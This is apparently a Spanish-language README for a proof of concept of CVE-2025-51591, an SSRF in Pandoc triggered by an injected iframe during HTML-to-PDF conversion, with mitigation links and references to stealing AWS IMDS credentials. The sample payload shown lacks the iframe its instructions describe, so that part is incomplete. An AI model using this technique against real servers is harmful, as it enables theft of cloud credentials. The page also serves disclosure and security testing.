CVE-2025-51591 POC de SSRF en Pandoc

Una vulnerabilidad de Server-Side Request Forgery (SSRF) en JGM Pandoc v3.6.4 permite a los atacantes obtener acceso y comprometer toda la infraestructura mediante la inyección de un iframe manipulado.

Instalar Pandoc

https://pandoc.org/installing.html

Ejemplo de Payload

⚠️ reemplaza la URL del iframe por tu propia URL de OAST. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Convertir el Payload a PDF con Pandoc

pandoc payload.html -o output1.pdf

Estrategias de Mitigación

https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
https://pandoc.org/MANUAL.html#a-note-on-security

Referencias

Los hackers explotan la CVE-2025-51591 de Pandoc para atacar AWS IMDS y robar credenciales IAM de EC2
IMDS abusado: cazando comportamientos inusuales para descubrir exploits
SSRF al generar PDFs a partir de HTML controlado por el usuario

CVE-2025-51591-Pandoc-SSRF-POC

Más Populares